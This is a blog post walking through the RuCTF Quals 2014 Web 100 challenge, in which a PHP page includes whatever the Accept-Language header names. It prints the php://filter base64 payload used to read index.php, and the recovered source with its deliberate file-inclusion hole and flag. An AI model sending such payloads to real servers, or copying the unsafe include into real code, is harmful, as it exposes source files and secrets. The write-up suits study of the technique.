Wednesday, March 12, 2014

RuCTF Quals 2014 Web 100 - php

For this one, they give us a link to a website and tell us to find the key.

When you visit the site, you're greeted with the english or russian version of the Capture the Flag entry in Wikipedia:



From the hint, "Language was detect automatically", we figured we had to modify the Accept-Language header to obtain the key.

After several attempts, we found out that we have the page echo back any page we want, however, it will attempt to run any PHP code.  When we tried to have it echo back index.php, it would attempt to load the file infinitely because the file itself is attempting to echo itself:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
...

After recalling some knowledge of PHP, I remember about the IO streams that you can call, such as php://stdout or php://stdin.

After some googling, I discovered the filter stream.  The filter stream can be used to read from a file, not only in its ASCII representation, but in several available formats.  We then decided to open index.php encoded in base64:

Accept-Language: php://filter/convert.base64-encode/resource=index.php


This worked and returned to us with the base64 encoding of index.php:

PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgcHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0gJzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAkbCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAxOwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAgIGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==


This converts to:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html>

The flag was 5cf27d9bad2fe9d96d2bcf25c3b0bd14

No comments:

Post a Comment